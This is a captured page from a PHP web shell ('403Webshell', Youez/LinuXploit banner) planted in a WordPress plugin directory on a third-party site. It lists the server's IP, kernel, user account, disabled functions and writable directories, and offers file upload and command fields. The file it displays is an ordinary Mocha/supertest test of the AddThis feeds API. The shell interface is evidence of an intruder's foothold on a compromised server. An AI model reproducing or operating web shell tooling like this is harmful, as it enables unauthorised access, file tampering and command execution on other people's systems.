403Webshell
Server IP : 194.30.32.123  /  Your IP : 216.73.216.89
Web Server : Apache
System : Linux 4f6650a08421 5.10.0-44-amd64 #1 SMP Debian 5.10.257-1 (2026-05-27) x86_64
User : ftpbegirale ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,curl_multi_exec,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /expert/htwebs/www.begirale.com/public/wp-content/plugins/addthis-follow/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /expert/htwebs/www.begirale.com/public/wp-content/plugins/addthis-follow/test/feeds-integration.js
var expect = require('chai').expect;
var assert = require('chai').assert;
var supertest = require('supertest');

var environments = {
  'prod':  'https://q.addthis.com/feeds',
  'test':  'http://api-test:8015/feeds'
};

var feedsUrl;
if (process.env.build_env && environments[process.env.build_env]) {
  feedsUrl = environments[process.env.build_env];
} else {
  feedsUrl = environments.test;
}

var request = supertest(feedsUrl);

describe('Feeds API tests for Wordpress', function() {
  this.timeout(5000);
  var pubId = 'atblog';
  var domain = 'www.addthis.com';

  it('confirms expected format', function(done) {
    request
    .get('/1.0/views2.json?pubid=' + pubId + '&domain=' + domain + '&limit=25')
    .expect(200)
    .end(function(err, res) {
      expect(res.body).to.be.a('array');
      done(err, res);
    });
  });
});

Youez - 2016 - github.com/yon3zu
LinuXploit